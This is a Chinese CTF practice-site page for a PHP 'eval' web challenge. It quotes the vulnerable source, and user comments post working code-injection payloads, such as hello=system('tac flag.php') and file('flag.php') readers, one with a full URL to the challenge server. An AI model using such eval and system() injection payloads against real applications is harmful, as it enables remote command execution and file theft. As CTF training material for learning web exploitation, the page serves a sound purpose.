evalWEB 未解决

分数: 15 金币: 1
题目作者: harry
一  血: moren448
一血奖励: 1金币
解  决: 19966
提  示:
描  述:
eval
评论
sn1p3r 5年前

这个题得好好学学

回复 3

juice 5年前

show_source('flag.php')

回复 6

yyt123 5年前

hello=1,$v=file('./flag.php'),print_r($v)

回复 3
yyt123 5年前

@LSYLTH 可以用hello读文件也可以不用,这里随便给hello赋了个值,之后定义了一个变量去读flag.php

回复 0

LSYLTH 5年前

这是怎么构造这个playload的呀

回复 0

你看 5年前

require 一般放在 PHP 文件的最前面,程序在执行前就会先导入要引用的文件; include 一般放在程序的流程控制中,当程序执行时碰到才会引用,简化程序的执行流程。 require 引入的文件有错误时,执行会中断,并返回一个致命错误; include 引入的文件有错误时,会继续执行,并返回一个警告。

回复 3

safemaker2021 5年前

把file函数带进去eval中,以PHP执行

回复 0

Easyoung 5年前

直接在评论里发flag,年轻人不讲武德?

回复 2
sn1p3r 5年前

@harry 看到管理员三个字,熠熠生辉。

回复 1

harry 管理员 5年前

动态flag他们发了也没事

回复 11

xiao 5年前

直接用?hello=file('flag.php'),var_dump()函数可以打印

回复 17
wyx48046 5年前

厉害!

回复 0

Hiiro 5年前

大佬大佬

回复 0

test_ctf 5年前

牛逼!

回复 0

Hacker23 5年前

http://114.67.246.176:10183/?hello=system('tac flag.php')

回复 12
ZTyyds 4年前

原理是什么啊???想了解一下

回复 0

guoguo 5年前

题目内容:<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__); ?> 可以使用hello=system('tac flag.php')或者?hello=10/print_r(file("flag.ph

回复 3
dsadscxzewq 5年前

为啥用cat不行呢?

回复 0

痕夕 5年前

看不懂,求解,大佬

回复 6

SwBack 5年前

大道至简,直接当作一句话利用即可 hello=system('tac flag.php')

回复 5
巨人肩膀上的矮子 5年前

@dsadscxzewq cat是可以的,只不过在源代码里查看

回复 0

dsadscxzewq 5年前

为啥用cat不行呢?

回复 1

WriteUp

image
harry

1 金币

评分(12)

解题动态

Hogan 攻破了该题 24分钟前
sorry123 攻破了该题 2小时前
xiaolili 攻破了该题 3小时前
ljjbit 攻破了该题 7小时前
墨尘 攻破了该题 8小时前
booku 攻破了该题 9小时前
15306829633 攻破了该题 9小时前
CHT 攻破了该题 10小时前
河马 攻破了该题 11小时前
Mr.Cyber 攻破了该题 12小时前
聪仔草莓51 攻破了该题 14小时前
pleonexia123 攻破了该题 14小时前
wsx68696 攻破了该题 1天前
lipingctf 攻破了该题 1天前
H1lla1n 攻破了该题 1天前
liyimanfan 攻破了该题 1天前
Yun1217 攻破了该题 2天前
你倒过来读看看呢 攻破了该题 2天前
jvfnvd.vl 攻破了该题 2天前
倚楼叹世间 攻破了该题 3天前
问题反馈